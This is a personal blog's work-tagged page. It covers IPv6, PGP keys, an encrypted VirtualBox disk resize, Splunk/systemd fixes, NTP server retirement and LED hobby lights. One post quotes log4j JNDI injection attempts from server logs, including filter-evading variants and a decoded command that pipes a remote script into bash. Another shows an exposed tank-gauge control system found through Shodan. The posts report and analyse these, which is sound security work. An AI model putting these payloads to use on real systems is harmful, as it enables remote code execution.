News items for tag work - Koos van den Hout

Years and years after writing proposals to start doing something with IPv6 at work I noticed the first systems actually having IPv6 connectivity in production networks.

Finally getting there! I wonder when workstations will start having IPv6 connectivity.

Today I tried to sign a key with my work PGP key, and after lots of tries the conclusion was that my 2006 work pgp key was too infected with SHA1 signatures that I couldn't remove, so I created a replacement work PGP key. Even a signature for the new key with the old key was rejected.

So the new work key:

pub   rsa4096/0x36FF19C6159C0262 2022-02-15 [SC] [expires: 2027-02-14]
      Key fingerprint = 1401 EE9F 25AD 23F1 C299  FD07 36FF 19C6 159C 0262
uid                   [ultimate] Koos van den Hout <k.vandenhout(at)uu.nl>
uid                   [ultimate] Koos van den Hout <koos(at)surfcert.nl>
sub   rsa4096/0x918F8E7A170EA93E 2022-02-15 [E] [expires: 2027-02-14]

I also signed it with my personal key, and I will try to get more signatures for the new work key to make things work better. Available at PGP key 0x36ff19c6159c0262. There you will see I also signed it with my old work key 0x42216fe29ee949cf but since that signature is also a SHA1 signature the new gpg implementation immediately rejects it. So I should get some signatures from people who have relatively new PGP keys. I've been using PGP since 1993 (29 years now!) and I can see the developments in PGP over the years in my keys.

In the process I noticed one thunderbird installation insists on managing PGP keys completely and the other doesn't. Searching for the reason eventually found Use Thunderbird 78 with System GnuPG Keyring and I made sure the option mail.openpgp.allow_external_gnupg was set to true.

A large part of last weekend was filled with the log4j vulnerability at work. Now I have some more time to look at the effect this has had on my home server I'm seeing a patter of lots of 'friendly' scanners with a few actual attack attempts in between.

Some special ones from the logs:

Trying all the fields (URL, referrer and user-agent), probably a 'friendly' scanner:

45.83.66.84 - - [13/Dec/2021:04:53:21 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 969 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"

Trying to circumvent web application firewalls that have been set up with simple rules against the log4j vulnerability. I'm not sure whether this is a 'friendly' scanner or an actual attempt at abuse.

138.197.216.230 - - [13/Dec/2021:11:39:59 +0100] "GET / HTTP/1.1" 200 2211 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"

Trying to load a "Legitimate" java class.

167.172.44.255 - - [13/Dec/2021:17:26:02 +0100] "GET / HTTP/1.0" 503 652 borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass} - -> /

But related to an IPv4 address that is becoming famous, I find this gem:

45.155.205.233 - - [12/Dec/2021:06:38:34 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 2211 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}"

And decoding the obvious base64 gives:

echo -e KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA== | base64 -d ; echo
(curl -s 45.155.205.233:5874/45.83.232.134:443||wget -q -O- 45.155.205.233:5874/45.83.232.134:443)|bash

But I haven't been able to fetch anything from 45.155.205.233:5874 yet and I'm getting really curious what it is/was. The other IP address is the external address of the server, so I guess it's a way to make curl/wget not return an error code.

For work I use a supplied laptop with Windows 10. For some of my work I want to have a Linux environment available so I have VirtualBox with a Linux virtual machine running. And because some of the work I do on that Linux virtual machine I use full-disk encryption. And the installation was done with the encrypted lvm setting.

Resizing the filesystem because it was getting full turned out to be a lot of steps! After stopping the virtual machine I wanted to resize the disk from the VirtualBox media manager but that gave an error. After that I tried the commandline, giving about the same error:

> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam.vdi --resize 32768
0%...
Progress state: VBOX_E_NOT_SUPPORTED
VBoxManage.exe: error: Failed to resize medium
VBoxManage.exe: error: Resizing to new size 34359738368 is not yet supported for medium 'C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi'
VBoxManage.exe: error: Details: code VBOX_E_NOT_SUPPORTED (0x80bb0009), component MediumWrap, interface IMedium
VBoxManage.exe: error: Context: "enum RTEXITCODE __cdecl handleModifyMedium(struct HandlerArg *)" at line 816 of file VBoxManageDisk.cpp

It turns out the .vdi is the wrong type for dynamic resizing. Solution: clone it! The new .vdi will have the dynamic type automatically and there is a "before" .vdi now on disk to revert to if anything goes wrong.

> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam.vdi
UUID:           f832b0b4-8738-491d-bd9c-291d755a4af7
Parent UUID:    base
State:          created
Type:           normal (base)
Location:       C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi
Storage format: VDI
Format variant: fixed default
Capacity:       26067 MBytes
Size on disk:   26070 MBytes
Encryption:     disabled
Property:       AllocationBlockSize=1048576
In use by VMs:  rotterdam (UUID: 2454dadb-a82d-4d74-bbea-8dcf2b2d1bf1)
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" clonehd rotterdam.vdi rotterdam-2.vdi
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'VDI'. UUID: 835e2f75-c19d-4e98-865e-d7acf1359fc7
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam-2.vdi
UUID:           835e2f75-c19d-4e98-865e-d7acf1359fc7
Parent UUID:    base
State:          created
Type:           normal (base)
Location:       C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam-2.vdi
Storage format: VDI
Format variant: dynamic default
Capacity:       26067 MBytes
Size on disk:   26069 MBytes
Encryption:     disabled
Property:       AllocationBlockSize=1048576
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam-2.vdi --resize 32768
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%

I moved the old .vdi out of the way and added the new .vdi to the virtual machine and started it again. This worked fine, but the root volume wasn't any bigger (yet). Next steps: enlarge the extended partition and the Linux partition in it on disk using parted. You really have to know what you are doing here, so I'm not just going to give a cut-and-paste sample.

Now I can resize the encrypted and mounted volume! With the right passphrase.

# cryptsetup resize /dev/mapper/sda5_crypt

And grow the 'physical' (ahem) volume:

# pvresize /dev/mapper/sda5_crypt

Resize the logical volume:

# lvextend /dev/rotterdam-vg/root -l +1674

And finally resize the mounted filesystem:

# resize2fs /dev/mapper/rotterdam--vg-root

And the filesystem has grown, and looks good in a fsck on the next boot.

So solid state disk → Windows filesystem → vdi file → VirtualBox → disk in Linux virtual machine → partition → lukscrypt → logical volume manager → volume → filesystem.

Today I ran into an issue related to systemd and I decided to try to fix it without too much cursing. The result was a number of google searches ending up on unix.stackexchange.com but eventually I fixed the problem.

At work we use splunk for security monitoring and one of the indexers failed to start the splunk processes after a reboot. On browsing the systemd boot log with journalctl -b -l I discovered that the main issue was that creating files in /opt/splunk failed. This was due to an interesting race condition: splunk may start as soon as target network.target has been reached, but mounting /opt over iscsi also needs network.target to start. So the unit file has been updated to:

[Unit]
Description=Systemd service file for Splunk, generated by 'splunk enable boot-start'
After=network.target opt.mount

The next problem was the systemctl start Splunkd.service failing in some intricate way. I had a look at the logging and saw that it was actually trying to restart the service and failed at killing one of the old processes. It turned out the /opt/splunk/var/run/splunk/splunkd.pid file had old contents and one of the PIDs in that file was now in use by a kernel thread. Those you can't kill, the restart failed and therefore the service did not start at all. Solution: remove the .pid file.

For almost 20 years I was involved with the running of NTP time servers at work. But the hardware aged and my job is no longer in systems administration and not in the department actually housing the timeservers.

So, time to stop doing it. The pool ntp server has been retracted, DNS names removed and soon I will make one final trip to shut down hardware one last time and remove it from racks. The end for ntp.cs.uu.nl and others.

I still run an NTP server at home which is available in the IPv6 NTP pool. That server also compared itself to one of the servers at work so it has been reconfigured. I added a few upstream servers and made sure all of them are reachable via IPv6.

The log of NTP service at cs.uu.nl was kept, here is the final version:

Date	Event
8 Apr 2021	DNS names for ntp service at cs.uu.nl removed
2 Apr 2021	Announcement posted to system administration mailing list that ntp service at cs.uu.nl will stop
24 Sep 2014	A second stratum-1 ntp appliance is brought on-line, galileo.cs.uu.nl
28 Nov 2011	Fixed the networking for stardate, the full time lab is up and running.
23 Nov 2011	The antenna cable connectors are soldered on which results in a working setup after a few tries. Stardate is better at reporting the state of the power to the GPS antenna, but has no working network. Huygens has working network and serves time to metronoom.
22 Nov 2011	The server ntp.cs.uu.nl is active at its new IP. Our own GPS reference doesn't work yet: we still need to solder the right connectors on the antenna cable. The server is added to the ntp pool and traffic starts to flow a few hours later.
15 Nov 2011	The ntp servers are moved to their new location
14 Nov 2011	The ntp servers are switched off
13 Nov 2011	We retract ntp.cs.uu.nl at its current address from the pool because the serverroom will move physically, the ntp equipment will move to a different location and the IP will change to deal with the traffic better
18 Sep 2011	Stats for doei.cs.uu.nl, five years after withdrawing it from the ntp pool
19 Sep 2010	Stats for doei.cs.uu.nl, four years after withdrawing it from the ntp pool
4 Mar 2010	The turkish adsl provider ttnet falls off the Internet for a few hours, traffic falls from 2000 packets/second to 100 packets/second in that time
22 Jan 2010	We volunteer ntp.cs.uu.nl for the turkish part of the ntp pool. Traffic explodes, peaks over 5000 packets/second
18 Sep 2009	Stats for doei.cs.uu.nl, three years after withdrawing it from the ntp pool
28 Jul 2009	ntp.cs.uu.nl back at full speed in the ntp pool, firewall configuration fixed
15 Jul 2009	rear doors of racks closed again
2 Jul 2009 10:00	serverroom airco has problems with high temperatures (28-30 C), we open rear doors of racks which makes the temperature go down a bit in the racks but the airco still has hard work
Mar 2009	ntp.cs.uu.nl tuned down in the ntp pool to avoid firewall issue
18 Sep 2008	Stats for doei.cs.uu.nl, two years after withdrawing it from the ntp pool
17 Jan 2008	huygens.cs.uu.nl has a GPS reception failure, fixed with a software update
18 Sep 2007	Stats for doei.cs.uu.nl, a year after withdrawing it from the ntp pool
11 Mar 2007	airco failure serverroom
5 Mar 2007	all ntp servers moved to one rack close together for temperature stability
20 Jan 2007	airco failure serverroom
9 Jan 2007	huygens.cs.uu.nl added as stratum-1
23 Dec 2006	airco failure serverroom
29 Nov 2006	powerfailure in our building
1 Nov 2006	metronoom.dmz.cs.uu.nl takes over as ntp.cs.uu.nl and joins pool.ntp.org
~ 24 Oct 2006	antenna cable to stardate.cs.uu.nl reconnected
~ 6 Oct 2006	ntpd on stardate disabled: free running clock starts to differ too much from correct time
~ 25 Aug 2006	antenna cable from stardate.cs.uu.nl disconnected because of building and recabling activities
1 Aug 2006	doei.cs.uu.nl leaves pool.ntp.org
19 Aug 2003	doei.cs.uu.nl joins pool.ntp.org
10 Jan 1999	stardate.cs.uu.nl set up as stratum-1 with GPS time reference

I'm currently following the course The Best TLS and PKI Training Course in the World and learning even more about the workings of encryption, TLS and certificates.

One of the things I learned is to balance security with performance. And I directly used this new insight on my own webservers. The connection which brought you this page from https://idefix.net/ is still encrypted but I saved a few milliseconds on the encrypted setup by switching from a big (4096 bit) RSA private key to a 384 bit ECDSA key which are comparable in cryptographic strength. But the calculations with the ECDSA key are less CPU intense. And yes, I have statistics on page loading times before and after the changeover of the key.

It was a good moment to change private keys anyway, the old keys were more than a year old.

This is one of those areas where I like having my knowledge hands-on. Actually understanding what is happening and why.

At work there is a sort-of competition for the best christmas decorations in the office. At the end of last year I considered doing something with programmable LEDs to 'participate' in this competition in 2020.

This year turned out somewhat different, but slowly my son is also somewhat interested in electronics, soldering and making the computer do something.

So I set out to find fully programmable LED strips. I found a good comparison of LED strips in a Youtube video: LED Strips, what's the difference? WS2811, WS2812B, 2812Eco, WS2813, WS2815, SK6812, SK9822. which compares the several available types and their pros and cons. After viewing this video and for my limited experiment I thought the WS2812B based LED strip would be the best choice. The next hurdle was controlling it and I found Connect and Control WS2812 RGB LED Strips via Raspberry Pi which has pointers to the right code.

I am not following the advice on that page about working with mains power cables. That looks dangerous.

I ordered a WS2812B based LED strip and a matching power supply for 5V 40Watt from a Dutch webshop and got it in a few days later. I was amused by the warning the webshop gave that a LED strip like this is for advanced users only because you have to add a controlling device and do all the programming. That is exactly what I intended to do!

Programming is in Python3, and I haven't written any Python code before. But with a lot of google searches and looking at samples I got the idea right.

I now have the LED strip blinking in exactly the patterns I want, including a nice pattern for a christmas tree. And it blinks 'MERRY CHRISTMAS' in morse code, because why not!

An interesting bit of news: SSH client gets patched after RSA key exchange memory vuln spotted.

The fixes implemented on PuTTY over the weekend include new features plugging a plethora of vulns in the Telnet and SSH client, most of which were uncovered as part of an EU-sponsored HackerOne bug bounty.

Get your updated putty at the PuTTY download page.

Update: Interesting visual change in putty: informational lines from the client are now prefixed by a putty logo. This could make it harder to mislead the user in certain attacks.

This morning I was looking on shodan for open remote desktop servers in the work network since RDP was mentioned as an attack vector in the latest GANDCRAP ransomware.

Searching for '3389' on shodan found something completely different: an open industrial control system (ICS) for tankstation gauges.

IN-TANK VOORRAAD        

TANK PRODUCT             VOLUME TC VOLUME   VULVOL   HOOGTE    WATER     TEMP
  1  UL 98                 9757      9693    10283    939.2      0.0    20.09
  2  EURO                 2...

According to The Internet of Gas Station Tank Gauges -- Take #2 - Rapid7 this was already a reported issue in January 2015 and according to their research it may be possible to do bad things with this access.

The above is from a gas station I can find on google maps.

Oh I found the way to search for open remote desktop servers on shodan: port:3389.